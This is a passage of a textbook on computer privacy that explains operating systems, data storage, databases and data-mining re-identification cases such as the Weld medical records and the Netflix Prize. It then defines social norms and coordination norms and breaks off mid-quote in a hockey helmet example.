an interesting feature of the current computer hardware mass market is
that gamers are driving the high end of the market. 
* 	 Incidentally, the conventional hard drive is often the component of a computer that breaks with­
out warning after some years of use and signals the end of the computer’s lifetime. Its failure fol­
lows the same general pattern as that for light bulbs—they function properly for a period of time 
and then suddenly stop working—though with a much longer average lifetime. This is one reason 
why it is such a good idea to keep good backups of your computer: You never know when your hard 
drive is going to die. New solid-state hard drives that are becoming common in more expensive 
laptops as of this writing have significantly better longevity than conventional hard drives, but 
even so, it remains a really good idea to keep good backups. 
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Operating Systems 
We said that the basic job of the CPU is to carry out the computer’s instruc­
tions—that is, to execute the computer’s software. But which instructions? 
Which software? 
The special program that begins running when the computer is first 
powered on and remains running all the time is the operating system. Its 
basic jobs include accepting and carrying out directions from the user, 
maintaining the organization of the files on the computer, and manag­
ing the computer’s communication over the network. Common examples
of operating systems on end-user laptops and desktops are Microsoft 
Windows XP, Vista, and Windows 7 and 8, and Apple Mac OS X. 
You do not really communicate directly with your computer; you com­
municate with its operating system. The operating system is responsible 
for creating what you see on your screen (by sending commands to the 
hardware that displays something in each pixel of the screen) and for 
monitoring the keyboard and the mouse for your inputs. 
Indeed, one striking feature of modern end-user operating systems (and
many other operating systems as well) is that the main mode of interac­
tion is graphical. You see a screen with images on it, and you move a cursor
of some sort around with a pointing device, most often a mouse, and you 
click on things. Things were not always thus. This sort of graphical system 
was invented by Xerox at its Xerox PARC research facility; it first entered 
the consumer market with the Apple Macintosh back in the 1980s and 
was subsequently adopted by Microsoft for its Windows operating system. 
As we will discuss in more detail later, the operating system is respon­
sible for access control—that is, for deciding what files you are allowed to
access in what ways. Thus, if your computer has been set up with multiple
user accounts, say, one for you and one for your daughter, and your daugh­
ter doesn’t have permission to access your files, then it is the operating sys­
tem that tells your daughter, “No,” when she tries to open one of your files. 
More broadly, the operating system maintains the entire file system. 
Your hard drive contains anywhere from tens of thousands to millions of
files, altogether occupying tens to hundreds of gigabytes (perhaps thou­
sands if you have a very large collection of videos). A majority of the files
are software and the operating system itself; the rest are your data: music,
video, documents in various formats such as Microsoft Word, PDF, plain 
old text, and so on. Both Windows and Mac OS X use the metaphor of a 
nested hierarchy of folders to show you how your files are organized. 
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Today almost all end-user laptops and desktops have an operating sys­
tem from one of three families: Microsoft Windows, Apple Mac OS X, or
Linux. The Microsoft Windows family is by far the most common, account­
ing for at least 80 percent of end-user computers worldwide, and includes
various home and professional editions of Windows XP,* Windows Vista,
Windows 7, and Windows 8. 
Apple’s Mac OS X family is the second most common end-user operat­
ing system, and it runs only on Apple’s computers. The versions of OS X in
common use as of this writing are Snow Leopard (also called 10.6), Lion
(also called 10.7), and Mountain Lion (also called 10.8). 
In a distant third place is the Linux family. Linux is a product of the 
open-source software movement,† and it is free. Indeed, open-source 
advocates would point out that Linux is free both in the sense of freely 
modifiable by anybody, as in “free speech” and in the sense of not costing 
anything, as in “free beer.” (There are some open-source licenses that per­
mit charging distribution fees and some that do not.) There is no one offi­
cial maker or distributor of Linux, so it has a larger number of particular
instantiations than either Windows or OS X; Ubuntu is the most popular
version of Linux for end users as of the time of this writing. 
These are not the only operating systems. There are a large number of
operating systems used by only a small number of end-user computers 
today, such as Solaris and Free BSD. There are operating systems used 
only on specialized computers called servers, including but not limited to
server versions of Windows, OS X, and Linux. There are the increasingly
important operating systems for smartphones, especially iOS (the iPhone
and iPad operating system) and the Android operating system, and oper­
ating systems for conventional cell phones, such as Symbian. 
Market share varies significantly in different areas. For example, in the 
server market Windows and Linux both are quite significant, as are some
other operating systems that have near-zero market share in the end-user 
market. As a second example, as of this writing, Google’s Linux-based  
Android operating system has the largest share of the smartphone market, 
with Apple’s iOS being in a strong second place. 
* 	 Although Microsoft stopped general sales of Windows XP in mid-2008, it still has a surprisingly
large market share as of mid-2012. 
† 	 The open-source software movement advocates the creation of software whose source code is
freely viewable and modifiable, and is typically created by a large number of volunteers. The most
well known piece of software to come out of this movement is probably the Firefox web browser;
other examples include the Linux operating system and the Apache web server. 













PRIMER ON DATA, DATABASES, AND DATA MINING 
The simplest possible view of a computer is that of something that stores
zeros and ones. This view is absolutely correct as a view of the computers 
of the 1950s, or of the computers of today, or of the computers of 50 years
from now. However, three things have changed dramatically over the 
past decade or two: first, how many zeros and ones a computer can store; 
second, as a result, how much information is stored in computers; and,
finally, how much more can be inferred by putting all these data together. 
In this section we begin by looking at data: how it is represented and 
how much of it can be stored on various sorts of computers. We then move
on to databases and finally to data mining, the clever extraction of infor­
mation from one or more sources. 
Data and Their Representation 
A key concept in computer science is the idea of encoding: using one thing 
to represent something else, typically something more complex or more
abstract. All computers encode data as zeros and ones. A single zero or
one is called a bit, and all present-day computers organize those zeros and 
ones into groups of eight called bytes. One of the most basic encodings is
of characters by 1 byte. Thus, the capital character A might be represented 
by 01000001 and the right parenthesis might be represented by 00101000. 
To be technically correct, 1 byte can encode one plain old typewrit­
ten character in the encoding known as ASCII. In Microsoft Word, which 
uses a proprietary encoding that includes the ability to specify fonts such 
as Times or Helvetica, to use italics, and so on, storing 1,000 characters 
might take 4000 bytes instead of 1000 bytes. There are also several other 
reasonably common encodings of characters. This is the usual case for 
encodings. While in the end all the data on a computer are simply zeros 
and ones, there are often several different encodings in common use for 
one particular type of data. For example, a number, such as 205, could be 
encoded either in characters (in 3 bytes, one for each of the characters “2,”
“0,” and “5”) or in one of several different encodings used for numbers.
The common encodings for numbers use 1, 2, 4, or 8 bytes to encode a 
number. The choice of particular encoding for a number depends on how 
large the numbers are that one needs to encode and on whether the num­
bers are whole numbers or can contain a decimal point. 
Another feature of encodings is that they are often built up hierarchi­
cally. For instance, the most basic protocols of the Internet are particular
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TABLE 2.2 Prefixes Used with Bytes for 

Measuring Amounts of Data
 
Name No. Bytes Power of 2 
Kilobyte (kB) Thousand (1,024) 10 
Megabyte (MB) Million 20 
Gigabyte (GB) Billion 30 
Terabyte (TB) Trillion 40 
Petabyte (PB) Quadrillion 50 
Exabyte (EB) Quintillion 60 
strings of characters, where each character is encoded by one byte. As a 
second example, the “raw” encoding of color pictures uses a group of three 
numbers, each in the range of 0 to 255, for each of the millions of pixels in
the picture, where each of those numbers is encoded in 1 byte. 
For now, let us consider just how much character-based material we can 
store and manipulate today. A byte is very small, so we again need to know
the terms used for larger numbers of bytes. We repeat the prefixes from
Table 2.1 in Table 2.2, as part of this primer on data. This time we include 
a few more prefixes for the extremely large amounts of data that are part
of today’s big data movement. (Currently, depending on who is using the 
term and for what purpose, each new name in the table may indicate a unit
either 1,000 or 1,024 times bigger than the previous one.) A single double-
spaced plain text manuscript page might require about 1.5–2.0 kB, and a 
medium novel or short academic book might be 500 manuscript pages, or
1 MB. To put this in perspective, recall that main memory of a new low-
or midrange consumer laptop might be 4 GB (4,000 novels), and the hard
drive might range from 64 GB on certain laptops to 2 TB on a midrange
desktop. That is, one consumer machine might be able to hold the printed 
book collection of a decent size academic library. 
The printed book collection of the entire US Library of Congress has 
been estimated at 10–15 TB. As of the summer of 2012, it is an option with
high-end consumer desktop computers to spend an extra $1,000 or so and 
have four 2 TB hard drives. In other words, computer storage is now vast 
enough and inexpensive enough for any home hobbyist or any small busi­
ness to store the contents of all the books in the Library of Congress. Plain
text encodings don’t use much space. By way of contrast, if you want to
store a large music, photo, or especially video collection on your hard drive,
instead of text, then you may need to buy a larger hard drive. (Depending 
on the particular encoding chosen, a minute of music might require 1 to
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15 MB—that is, the same as 1 to 15 novels’ worth of text.) However, for 
those interested in privacy issues, text and numbers have been and remain
key, although use of facial recognition software is on the rise. 
It wasn’t always so easy and inexpensive to store huge quantities of
data. People often speak of how quickly computers have gotten faster and
cheaper (Moore’s law, which we discussed earlier). However, computers
have not simply been getting faster: The size of storage has been, if any­
thing, increasing at a faster rate than computer speed. This means that
people who like portable music gadgets moved quickly from an original
2001 iPod that was advertised as being able to “hold 1000 songs in your
pocket” to a 2007 iPod that had 160 times the capacity.* And in terms
of plain text and numbers, it means that a midrange consumer desktop
has a terabyte hard drive that can hold the equivalent of a three-page
typed report plus a table of a few hundred numbers for each of the 300+
million people living in the United States. Twenty years ago, such a thing
was not possible, because that quantity of computer storage simply was
not available. As MIT computer scientist Hal Abelson and his coauthors
put it, the extraordinary, exponential growth in both processing speed
and storage has “changed the same old thing into something new.”5 
The example of a small device, such as a computer hard drive, con­
taining information on all or many of a nation’s citizens is not simply 
hypothetical. In a well publicized incident in the UK in late 2007, a gov­
ernment tax agency lost two disks in shipping that contained detailed 
personal and financial information on 25 million British citizens, includ­
ing almost every British child under age 16.6 
Just to illustrate the vast quantities of data that can be collected and 
stored in this era, we mention the University of Southern California Shoah 
Foundation Institute collection of recorded testimonies by Holocaust sur­
vivors. Its 52,000 video recordings are approximately 8 petabytes of data.
In other words, one important video collection at one private US univer­
sity has data that, when measured in bytes, is the equivalent of 750 times 
the data in all the books in the Library of Congress. 
* 	 The original 2001 iPod had 1 GB of storage and could really hold only about 250 pop songs in an
encoding that sounded good when you played it. To get to 1,000 songs you had to use an extreme 
amount of compression, resulting in poor sound quality. 
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Databases 
A database is simply an organized collection of data. Indeed, often today 
small-scale operations use a collection of Excel spreadsheets as databases,
rather than using a dedicated database program (such as those sold by
Oracle, among others). The key features a database should have are ways to
add, edit, remove, and look up data. 
The art and science of databases consist primarily of two things: meth­
ods for keeping the data organized and ways of ensuring that queries to
the data can be answered fast, even when there is a lot of data. Today,
computer scientists understand traditional databases, consisting of text
and numbers, quite well. 
So, what’s new? What’s changed in the past decade or two? First, of  
course, computing power (CPUs) has gotten faster and cheaper, and stor­
age has gotten larger and cheaper, so we can maintain much larger data­
bases than in the past. This does make a difference. Next, there is currently 
great interest in how to incorporate spoken words, other sound, photos, 
and video in databases. We won’t have much to say about that. 
Finally, and possibly most importantly, there is what is being done with
databases. All sorts of clever tricks can be done to merge information from
different sources to learn things one did not previously know. We will use 
the term data mining to refer to all the clever or tricky ways of drawing
inferences from one or more databases. Be aware that some other writers
use it only for certain of these techniques. 
Information Extraction or Data Mining 
In today’s world of computers that can store very large data sets and
process those data sets very quickly, data mining has come into its
own. Broadly speaking, data mining is the automated search for new or
implicit information or patterns in one or more data sets. 
The classic example of data mining is a chain store that has records of
all the items purchased together in a single checkout, and that analyzes
those records to determine what items are commonly bought together.
(Urban legend has it that the store discovers that beer and diapers are
frequently bought together.) There is nothing particularly wrong or
suspicious about this behavior; indeed, it seems like a sound business
practice. Of course, today most supermarkets could also add the iden­
tity of the shopper into the input data, at least for those shoppers using
loyalty cards. 
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What is worrisome, or at least surprising, is that data mining can reveal
hidden patterns. Again, this is something new in the world in the past 
15 to 20 years. In 1990, there simply wasn’t enough processing power or
storage to carry out such analysis. Moreover, the web has made many pub­
lic records much more accessible than they used to be. For example, for 
many years now, one could in principle have determined the salary of any 
public-school employee in the state of Illinois by driving to the right office
in that employee’s school district and demanding to see the publicly avail­
able budget for that school district. Today, however, that information is on
the web, available to anybody anywhere in Illinois, Indiana, or India. (The 
school districts did not post it. An activist group did the work of visit­
ing every school district and posting the results on the web.) As both the 
New York Times7 and the Wall Street Journal8 have put it, perhaps public
records are now too public. 
In addition to the advances in computing power, computer storage, and
the increased availability of information, the past 15 years have also seen 
great progress in the techniques used to combine and extract information 
from various sources—that is, progress in algorithms for data mining. 
Putting all of these together we have a world where, among other things, 
advertisers can buy extraordinarily narrowly focused lists of any particu­
lar type of consumer that they desire. 
There are two broad themes here. The first is finding correlations. For 
instance, people who live in Oklahoma and Utah are significantly more
likely to vote for Republican candidates for president or US senator than
people who live in Vermont. The second theme is linking data sets—that 
is, finding entries that exist in two different data sets. For example, from
an unemployment list and a list of divorced men, we can, if there is some
overlap, create a list of unemployed divorced men. Similarly given over­
lapping lists of public employees and people who have bought things at
Victoria’s Secret, we can create a list of public employees who shop at
Victoria’s Secret. 
To make this concrete, we will give several examples of such extraction
and, for some of them, explain how the data extraction was done. These 
particular examples of data extraction were all carried out by university
researchers or students, meaning that they, unlike direct marketers, wrote 
publicly about what they did. 
We begin with the case of an MIT PhD student obtaining the medi­
cal records of William Weld, then governor of Massachusetts. In
Massachusetts, the Group Insurance Commission (GIC) is the entity that













An Explanation of the Internet, Computers, and Data Mining  ◾ 45
purchases health insurance for state employees, and the GIC also collects
patient data (containing roughly 100 total pieces of information per per­
son) for analysis, public-health research, and so on. Following the recom­
mendations of the National Association of Health Data Organizations,
the GIC removes from the data personally identifying information such 
as name, address, social security number, and so on, but leaves four 
potentially important not-so-personal items in the data: patients’ gender, 
ethnicity, five-digit ZIP codes, and birth dates. After all, it is potentially 
vitally important for prevention campaigns and public-health purposes
to know if a particular cancer is prevalent for one gender, ethnicity, age 
range, or neighborhood. GIC sells the data to industry and makes it avail­
able for free to researchers. 
Latanya Sweeney was a PhD student at MIT in the late 1990s, interested 
in issues of privacy. She obtained the GIC database for her research. She 
also obtained the voter registration list for the city of Cambridge, which 
Cambridge will sell to anybody for $20 and, indeed, we generally expect
voter registration lists to be public. In the late 1990s, Cambridge provided 
the lists on computer diskettes. The voter registration records included the 
name, address, ZIP code, gender, and birth date of each registered voter 
in Cambridge. Thus, both the GIC records and the voter registration list 
included ZIP code, gender, and birth date. Governor Weld was one of only 
six registered voters in Cambridge with his particular birth date, and the
only male in his ZIP code with that birth date. Hence, his medical data were
unambiguously identified by linking two data sets. Notice that no database 
or computer was lost or stolen in this case. Both the voter registration rolls
and the GIC health records (with much personally identifying information 
removed) were deliberately made available for perfectly good reasons. 
Another medical example involves linking of a different sort. Two 
researchers showed how to identify patient addresses from the sorts of
maps of disease outbreaks or other phenomena that are published in med­
ical journals. Such maps show a city or town with one dot placed for each 
case of whatever is being studied, such as a particular type of cancer, teen
pregnancies, or new HIV/AIDS cases. 
These researchers made up their own simulated data: They randomly 
generated 550 Boston addresses and plotted one dot for each address on a 
map of Boston. The map was at a scale of 1:100,000—that is, roughly 1 inch 
representing 1.5 miles. They carefully followed the minimum standard
for image quality for publication of the New England Journal of Medicine.
Then they took just that map, with its dots, and went to work trying to
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figure out the addresses, using contemporary geographical information 
processing techniques. They found that they could exactly determine over 
400 of the 550 addresses and locate all the addresses to within 15 yards. 
Next let us consider Facebook. If you are somehow unaware of
Facebook, it is the largest and most popular social networking site, with
a worldwide membership of over 900 million as of July 2012.* Facebook
sells advertisers the right to “place ads on the pages of very targeted mem­
bers: divorced 45-year-olds in Texas, for example.”9 There is nothing as
elaborate as Latanya Sweeny’s data linking required for this, because 
Facebook members in the normal course of using Facebook usually sup­
ply Facebook with their age, gender, marital (indeed, “relationship”) sta­
tus, and general geographic location, so of course Facebook has those 
data and uses them. 
Facebook advertising differs in one important way from the data min­
ing correlation techniques we describe earlier. Those techniques are only 
statistical, so a list that is supposed to contain 2,000 single male 18- to  
22-year-olds might really contain 1,900 such, and 100 mistakes. Facebook 
gives advertisers online access to very specific groups who are more or less
guaranteed to contain exactly the desired demographic. 
The power of correlation techniques is that information that people
never explicitly provided, much less made public, can sometimes be clev­
erly extracted. Some MIT students did just this in 2007. In short, they  
found that Facebook friendships can reveal the sexual orientation of male
Facebook users who have never stated a sexual orientation on Facebook. 
“Friends” is the key notion in Facebook. Each user selects those other
users she wishes to friend (Facebook has made friend a verb), and if, say,
Alice requests to friend Bob and Bob accepts, then Alice and Bob are friends. 
Facebook privacy settings have frequently changed, and we will be dis­
cussing them and the controversy surrounding them later. For now, the 
rough idea is that Facebook users may choose to make certain informa­
tion available to all Facebook users and other information available only 
to their friends. The two MIT students looked at Facebook information for 
MIT students and found that the percentage of a man’s Facebook friends 
who have identified themselves as gay males on Facebook is a very good 
statistical predictor of whether that man is himself gay. This is really quite 
remarkable. As of July 29, 2012, Facebook’s “Newsroom Key Facts” website 
* 	 Facebook membership grew at a rate of 5 percent a month in 2010, although in July 2012 Facebook 
reported a 1.1 percent decline in membership in the United States and Europe. 
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said Facebook had approximately 180 million monthly active users in the 
United States and Canada, which is roughly 52 percent of the entire US
and Canadian population. Surely for those between, say, 15 and 35, the 
percentage is significantly higher. For all the men in this huge group, any­
one in the world could make a very good guess about their sexual orienta­
tion—even if those men have never revealed it online. 
As a final example, we describe how the video-rental records of many
Netflix users can potentially be revealed. The technical details of how this
was done are more subtle, so we will not explain those, just describe what
was done. Interestingly, the United States has a law specifically forbidding 
the releasing of video rental records, a legacy of the Senate hearings on
Robert Bork’s nomination to the Supreme Court, when his video rental
records were publicized. 
Netflix recently ran a contest, the “Netflix Prize,” to see if any team that
wanted to enter could significantly improve on Netflix’s internal movie  
recommendation system. For the Netflix Prize, the company released a 
sampling of its movie ratings. In September 2009, Netflix awarded a prize 
of $1 million to a team that obtained just over a 10 percent improvement
on Netflix’s own recommendation system. 
The data set Netflix released was very large, about 100 million ratings 
from about 500,000 users, representing about one-eighth of all the rat­
ings given by Netflix customers between 1999 and 2005, but customers 
were made anonymous. The released database entries contained only four
items: movie name, movie rating (one to five stars), the date of the rating, 
and a truly anonymous made-up user number. 
The Netflix Prize competition was such a big hit that Netflix began to run 
it again. However, in early 2010 that running of the competition was halted, 
and Netflix settled a lawsuit brought by the Federal Trade Commission. 
This was presumably because two researchers at the University of Texas 
showed how one could break the anonymity of Netflix’s rental data for 
certain users, using sophisticated versions of the linking and correlation 
ideas, together with a little bit of side information, such as knowing a few
movies a co-worker liked. 
We have just discussed four publicly available cases of data mining.
Today such data mining is common, although usually very few if any 
details are publicly available. There are two common themes to the cases
we studied. 
First is that this sort of data mining is something new in the world
in the last 20 years. At least four things have changed radically over that
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time, and a combination of several or all of the four is the key to most data
mining applications: 
1. Computers have become much more powerful. 
2. Computers have also become capable of storing larger data sets at
lower costs. 
3. New data-mining methods (that is, algorithms) have been developed. 
4. There are more public data, and even data that were always nomi­
nally public have become more accessible. 
The second interesting theme linking each of the cases we discussed 
is that none of the data providers did anything that seems to be wrong. 
Medical records with personally identifying information removed are 
important for medical researchers and for employers looking to contain 
costs. Similarly, maps of disease outbreaks are useful visual tools for com­
municating with medical researchers. There doesn’t seem to be anything 
wrong with Facebook users publishing their lists of friends or with some
Facebook users actively choosing to reveal their sexual orientation. The
original Netflix Prize was trumpeted in the technical press as a really inter­
esting way to give university researchers and students from all around the
world a chance to work with a massive real-world data set and perhaps to
improve our enjoyment of the movies we rent as well. 
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What makes privacy and unauthorized access so problematic? Primarily 
a critical lack of appropriate norms. At least, that is what we have come 
to understand and what we will explain in this chapter. There are two  
ways to lack appropriate norms. There may be no relevant norms at all,
or norms may exist but inappropriately perpetuate the very problems we
think norms should solve. Where there are no norms, we should create 
them; where the norms are inappropriate, we should replace them. In this
chapter, we define what a norm is and explain the distinction between 
appropriate and inappropriate norms. We then examine the role of norms
in market transactions. The examination provides the background needed 
for the norm creation strategies we suggest in the later chapters. 
NORMS DEFINED 
We begin with examples. Each example is an instance of a general pattern, 
and we will define norms with reference to that pattern. 
The Examples 
1. Church on Sunday: In the Jones’s small town, everyone goes to a 
Protestant church on Sunday. The churchgoers do so at least in part
because each believes he or she ought to do so. 
2. Death before dishonor: When the enemy attacks, every member of a 
particular army division will hold his or her position until ordered 
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to retreat. Each believes death is better than dishonor and hence 
believes he or she ought not to retreat until ordered to do so. 
3. Friends don’t let friends drive drunk: In Sally’s group of friends,
anyone who is drunk does not drive; he or she seeks out a friend to
do the driving. He or she seeks the friend and the friend complies
because both think that people ought not to drive drunk. 
4. Appropriate dress in court: When lawyers appear in court, they
dress appropriately—coats and ties for men, formal business attire
for women. Each dresses appropriately because each thinks he or she 
ought to do so. 
These examples share a common character. In each there is a behavioral
regularity—going to church on Sunday, not retreating when attacked, and
so on, and the regularity exists at least in part because everyone thinks he
or she ought to conform to it. In the examples, everyone conforms to the
regularity, but essentially the same pattern would exist even if a few did 
not. It is enough that almost everyone conform. 
The Definition 
We define norms in terms of nearly complete conformity. A norm is a behav­
ioral regularity in a group, where the regularity exists at least in part because
almost everyone thinks that he or she ought to conform to the regularity.
There are norms about good manners; dating; littering; when to speak in
a seminar; when to show anger; when, how, and with whom to express  
affection; when to disclose intimate details; when to use contractions; and
when to purchase insurance. In all these cases, almost everyone conforms at
least in part because almost everyone thinks he or she ought to. How many
have to conform for almost everyone to conform? We will not answer—not
because the question is not interesting and important, but rather because,
for our purposes, no answer is needed. For convenience, we will drop the
“almost” and simply understand “everyone” as “almost everyone.” 
Why People Conform to Norms 
People conform to norms because, for the most part, they do what they— 
sincerely and without reservation—think they ought to do, all things con­
sidered. Cases of “thinking they ought” form a spectrum. At one extreme,
we conform only to avoid sanctions (we may avoid eating our meat with a
salad fork only to avoid the disapproval of our etiquette-obsessed friends);
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at the other extreme, sanctions play no role in explaining conformity. We
conform because we think that conformity realizes something we regard
as good—acting with honor, for example. In between, conformity is a mix
of both factors in varying degrees. People in the Jones’s town, for example,
may attend church because they think it is their religious duty to do so 
and because others would disapprove if they failed to attend. The essential
point is that, across the entire spectrum, it is true to say that people think
they ought to conform. The “ought” is a prudential “ought” at the “con­
form only to avoid sanctions” end, and a nonprudential “ought” at the
“conform to realize a good state of affairs” end. 
Ought or Self-Interest? 
Our free use of “ought” may ring false to those who see people as entirely 
self-interested (a view that still dominates economics). This is not an
assumption we share, but those who wish to work within this constraint
may simply interpret our “one ought to do” as “it is in one’s self-interest to
do.” We will not make any claims inconsistent with the assumption of self-
interest. Even our observation that one may conform to realize something 
good is consistent as long as one sees this, realizing that good as being in
one way or another in one’s self-interest. 
How Do Norms Get Started? 
Norms evolve over time through repeated patterns of interaction; the ini­
tial interactions may have their source in agreement, custom, or law (or a 
combination of these factors). Take agreement first. Suppose it is the norm
for Scott and Zoe to meet at Starbucks at 8:30 a.m. every morning and that
the norm arose from their past agreement to meet regularly at Starbucks 
at that time. 
To illustrate custom, note that the “Protestant church” could easily 
arise from custom. Imagine it was customary for some in the town to
attend the church; churchgoers and nonchurchgoers alike notice the cus­
tom. Noticing the custom can make them think they ought to conform. 
Some may simply think that they ought to do what is customary, or they
may be reminded of their religious convictions, or they think they should
conform to avoid the disapproval of others. Once they start conforming
because they think they ought to, the norm exists. 
For legal regulation, suppose at first Sally and her friends conform to
friends don’t let friends drive drunk because drunk driving is against the 
law. As the regularity becomes well established, all the friends become 




 1. Driving on the right-hand side of the road: In most countries, every­
one drives on the right. Everyone thinks he or she ought to do so. 
That is, everyone thinks he or she ought to as long as everyone else 
drives on the right. If everyone started driving on the left, no one 
would think he or she ought to drive on the right. This is indeed the 
case in such countries as England and Australia, where people do 
drive on the left. 
 2. Elevator etiquette: You are about to enter an elevator in which oth­
ers are already present. Where do you stand? You maximize the dis­
tance between you and the person nearest you.† Everyone does so   
because everyone cares about two things: using the elevator when 
it arrives and not being unacceptably overcrowded when doing 
so. Maximizing the distance from the nearest neighbor strikes an 
acceptable balance between these two goals. For this reason, every­
one thinks he or she ought, to maximize the distance from the near­
est neighbor—at least as long as everyone else does so. There would 
little point in being the only “nearest-neighbor distance maximizer” 
if everyone else just stood wherever he or she liked. 
 3. Caller calls back: Suppose you and your best friend are talking on 
cell phones when you are disconnected. This happens often, and the 
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convinced that, even if the law were different, friends ought not to let 
friends drive drunk.* 
COORDINATION NORMS 
We will focus on a particular kind of norm: coordination norms. Roughly
speaking, coordination norms are regularities that people believe they
should conform to because other people conform to them. We begin with
examples followed by a more precise definition. 
Examples 
* 	 Passing a law does not automatically ensure that people will think they ought to conform. The law 
requires pedestrians not to cross intersections against either a red light or a “Don’t Walk” signal; 
however, the norm in many cities is to cross against the signal as long as you do not interfere with
traffic. Another example is the 1974 federal law capping speed limits at 55 mph (states had to agree 
to comply to receive federal funds for highway repair). Motorists rebelled, and the states subverted 
the law by reducing penalties for speeding. The federal government repealed speed limit controls
in 1995. 
† 	 We believe that you actually try to find the best compromise between maximizing distance and not 
standing outside others’ field of vision, but, for simplicity, we ignore the visual field requirement. 
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caller is always the person who calls back (to avoid both calling at
once). You both conform to the “caller calls back” regularity because 
you both think you ought to do so, as long as the other does. There
would be no point to conforming if the other did not. 
4. No littering: In Sally’s town, no one litters. Each person does not lit­
ter because each thinks that it is wrong to deface the environment by
littering, and on that ground, each thinks that he or she ought not to
litter. But each would litter if enough others did; no one would take 
the trouble not to litter for, at most, an insignificant gain in overall
environmental cleanliness. Thus, each person thinks he or she ought
not to litter as long as everyone else does not litter. 
These examples share a common character. As in the earlier examples, 
there is a behavioral regularity—driving on the right, maximizing the dis­
tance from the nearest neighbor, and so on. The key difference from the 
earlier examples is that there is a shared interest people can achieve only 
through coordinated action: driving on the same side, maximizing dis­
tance from neighbors in elevators, coordinating calling back, and mini­
mizing littering. The regularity exists, at least in part, because everyone
thinks he or she ought to conform to the regularity in order to realize the 
shared interest, as long as everyone else also conforms. The shared interest
and the “as long as everyone else does” distinguish our coordination norm
examples from our earlier ones. 
You would not drive on the right if you expected everybody else to drive 
on the left. Which side of the road you drive on depends on where you 
expect others to drive. However, everyone thinks that, for safety and con­
venience, all drivers should drive on the same side. You cannot achieve this
goal by yourself; you need the cooperation of others. By way of contrast, a 
person does not need anyone else to go to the Protestant church on Sunday
to achieve the goal of going himself. (He may, of course, have other goals
that require others to go—socializing with others, for example.) In the 
driving example, the necessary cooperation occurs when everyone drives
on the right (or the left), and everyone thinks that, to realize the shared 
interest of driving on the same side, he or she ought to drive on the right 
(or the left), as long as everyone else does. 
We define coordination norms with reference to this “ought, as long as
everyone else does” pattern. The “ought” is conditioned on the assumption
about everyone else. We will need to refer to such “oughts” frequently, and,
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to avoid constant repetitions of “as long as everyone else does,” we will say
that, for short, one thinks one ought conditionally to conform. 
Definition of a Coordination Norm 
A coordination norm is a behavioral regularity in a group, where the 
regularity exists at least in part because almost everyone thinks that, in
order to realize a shared interest, he or she ought conditionally to conform 
to the regularity.* In the elevator example, for instance, people conform 
to “maximizing the distance from your nearest neighbor” at least in part
because they think they ought to do so to realize the shared interest in the
trade-off between using the elevator and avoiding overcrowding. 
Conformity to Coordination Norms 
The explanation we gave of conformity to noncoordination norms like 
“attend a Protestant church on Sunday” is not an adequate explanation
of conformity to coordination norms. Recall that coordination norms are
regularities that exist at least in part because everyone thinks that he or
she ought conditionally to conform to the regularity. That is, a person will
conform as long as he or she expects everyone else to do so. Why will some­
one expect that? Our earlier explanation leaves that question unanswered, 
and, for our purposes, we need an answer. The answer we suggest is that, 
in the case of coordination norms, conformity creates mutually concor­
dant expectations about conformity; those expectations in turn create 
continued conformity, which creates mutually concordant expectations 
about conformity, which…, and so on. How does conformity yield mutu­
ally concordant expectations about conformity? How do those expecta­
tions yield conformity? 
To answer the first question, imagine you and your visitor, a recently 
arrived alien from outer space, are about to step into an elevator. You
think that you ought to conform to “maximize distance from the nearest 
neighbor” as long as everyone else does. Your space visitor does not think
any such thing. The explanation of the difference is that you live in a com­
munity that adheres to the elevator norm, and it is clear to you that con­
formity is the way to realize the trade-off between using the elevator and 
avoiding overcrowding. There are no elevators in the alien’s world, so he or
she has no idea of how to act. Your living in an elevator norm community 
also explains how you know that people have in the past conformed to the 
* We give a related definition in terms of game theory later. 
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elevator norm and that everyone else thinks that he or she ought to con­
form as long as everyone else does. The expectation that everyone else will
conform gives you a reason to conform, and, acting on that reason, you 
will conform. Thus, conformity yields mutually concordant expectations 
about conformity, which yields conformity. The continuing conformity
reinforces the mutually concordant expectations about conformity, which 
yield conformity, which reinforces the mutually concordant expectations 
about conformity, which…. In this way, once established, coordination
norms are self-perpetuating. 
Self-Perpetuating Inappropriate Norms 
One cornerstone of our analysis of the problems of privacy and unau­
thorized access is that inappropriate coordination norms have become
entrenched in precisely this self-perpetuating way. Norms are “inappro­
priate” in the sense that they are not value optimal. What then is a value
optimal norm? And why does it matter whether a norm is value optimal? 
VALUE OPTIMAL NORMS 
You typically conform to norms without much thought; when you step 
into an elevator, you unreflectively stand in the appropriate spot. You 
think you ought to stand there, but you do not worry or wonder about 
the justification for that “ought.” You could justify it, however; you could 
if you reflected on the norm under ideal conditions (including having suf­
ficient time, sufficient information, lack of bias, and so on). You could jus­
tify the balance the norm strikes between not feeling crowded and being 
able to use the elevator when it arrives. Roughly speaking, a norm is value
optimal when one’s values justify the norm. This is “roughly speaking” 
because justification is a matter of degree, and we need to take degrees of
justification into account to arrive at an explanation of value optimality
that will serve our purposes. 
Justification and Optimality 
We work with degrees of justification all the time. You might, for exam­
ple, regard the elevator norm as justified but also think that the following
alternative is even better justified: maximize the distance from your near­
est neighbor and do not enter the elevator unless that distance is at least 3 
inches. Think of justifications as spread out along a spectrum from weak
to strong, with justifications that are equal in strength occupying the same
spot. Sometimes there will be just one justification that is closest to the 
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strong end of the spectrum; other times there will be two or more. Either 
way, those are the best justifications: They are better than the justifications 
farther away from the “strongest justification” end of the spectrum and 
equally as strong as each other. 
We will say a coordination norm is value optimal when, in light of
the values of all (or almost all) members of the group in which the norm
obtains, the norm is at least as well justified as any alternative. It is the  
“at least as well justified as any alternative” that makes the norm optimal; 
it means one cannot improve by choosing a better justified norm. There
are many optimality notions; Pareto optimality is perhaps the most well
known one.* Value optimality happens to be the notion that we need. 
But haven’t we defined something that does not exist? A norm is not
value optimal if there is any better justified alternative norm. But won’t 
that always be the case? Won’t there be at least some minor adjustments 
that would make the norm better? There is no need to argue the point. As
we noted in Chapter 1, value optimality is an ideal that we approximate in
practice. We want our norms to be close enough to being value optimal.
For convenience throughout, we will drop the “close enough to being” 
qualification and just refer to norms as value optimal or not. 
A good way to illustrate the idea of value optimal norms is with an
example of a norm that is not value optimal. 
Lack of Value Optimality: An Example 
Until 1979, hockey players in the National Hockey League did not wear
helmets despite the clear risk of severe head injury. There were two dis­
advantages to wearing a helmet: non-helmet-wearing players’ perception
that helmet-wearers lacked toughness and a small loss in playing effective­
ness against non-helmet-wearing players from the helmet’s restriction of
peripheral vision. Nonetheless, had someone conducted a secret ballot at
the time, the vast majority of players would have agreed that it would be 
better if all players wore helmets. “One player summed up the feelings of
